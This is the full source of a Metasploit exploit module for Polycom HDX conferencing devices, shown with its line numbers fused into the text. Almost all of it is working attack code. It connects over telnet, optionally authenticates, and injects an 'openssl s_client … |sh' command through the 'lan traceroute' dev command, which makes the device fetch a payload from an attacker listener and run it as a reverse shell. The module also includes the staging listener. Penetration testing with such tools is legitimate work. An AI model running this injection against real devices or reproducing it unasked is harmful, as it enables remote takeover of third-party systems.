Path: blob/master/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb
25111 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',15'Description' => %q{16Within Polycom command shell, a command execution flaw exists in17lan traceroute, one of the dev commands, which allows for an18attacker to execute arbitrary payloads with telnet or openssl.19},20'Author' => [21'Mumbai',22'staaldraad', # https://twitter.com/_staaldraad/23'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass24'h00die <[email protected]>' # stole the code, creds to them25],26'References' => [27['CVE', '2025-34093'],28['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']29],30'DisclosureDate' => '2017-11-12',31'License' => MSF_LICENSE,32'Platform' => 'unix',33'Arch' => ARCH_CMD,34'Stance' => Msf::Exploit::Stance::Aggressive,35'Targets' => [[ 'Automatic', {} ]],36'Payload' => {37'Space' => 8000,38'DisableNops' => true,39'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl' }40},41'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53Opt::RHOST(),54Opt::RPORT(23),55OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),56OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),57OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])58]59)60end6162def check63connect64Rex.sleep(1)65res = sock.get_once66disconnect67if !res && !res.empty?68return Exploit::CheckCode::Unknown69elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/70return Exploit::CheckCode::Detected71end7273Exploit::CheckCode::Unknown74end7576def exploit77unless check == Exploit::CheckCode::Detected78fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")79end8081#82# Obtain banner information83#84sock = connect85Rex.sleep(2)86banner = sock.get_once87vprint_status("Received #{banner.length} bytes from service")88vprint_line("#{banner}")89if banner =~ /password/i90print_status("Authentication enabled on device, authenticating with target...")91if datastore['PASSWORD'].nil?92print_error("#{peer} - Please supply a password to authenticate with")93return94end95# couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.96sock.put("#{datastore['PASSWORD']}\n")97res = sock.get_once98if res =~ /Polycom/99print_good("#{peer} - Authenticated successfully with target.")100elsif res =~ /failed/101print_error("#{peer} - Invalid credentials for target.")102return103end104elsif banner =~ /Polycom/ # praise jesus105print_good("#{peer} - Device has no authentication, excellent!")106end107do_payload(sock)108end109110def do_payload(sock)111# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise112cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])113114# Start a listener115start_listener(true)116117# Figure out the port we picked118cbport = self.service.getsockname[2]119cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"120sock.put(cmd)121if datastore['VERBOSE']122Rex.sleep(2)123resp = sock.get_once124vprint_status("Received #{resp.length} bytes in response")125vprint_line(resp)126end127128# Give time for our command to be queued and executed1291.upto(5) do130Rex.sleep(1)131break if session_created?132end133end134135def stage_final_payload(cli)136print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")137cli.put(payload.encoded + "\n")138end139140def start_listener(ssl = false)141comm = datastore['ListenerComm']142if comm == 'local'143comm = ::Rex::Socket::Comm::Local144else145comm = nil146end147148self.service = Rex::Socket::TcpServer.create(149'LocalPort' => datastore['CBPORT'],150'SSL' => ssl,151'SSLCert' => datastore['SSLCert'],152'Comm' => comm,153'Context' =>154{155'Msf' => framework,156'MsfExploit' => self157}158)159160self.service.on_client_connect_proc = proc { |client|161stage_final_payload(client)162}163164# Start the listening service165self.service.start166end167168# Shut down any running services169def cleanup170super171if self.service172print_status("Shutting down payload stager listener...")173begin174self.service.deref if self.service.is_a?(Rex::Service)175if self.service.is_a?(Rex::Socket)176self.service.close177self.service.stop178end179self.service = nil180rescue ::Exception181end182end183end184185# Accessor for our TCP payload stager186attr_accessor :service187end188189190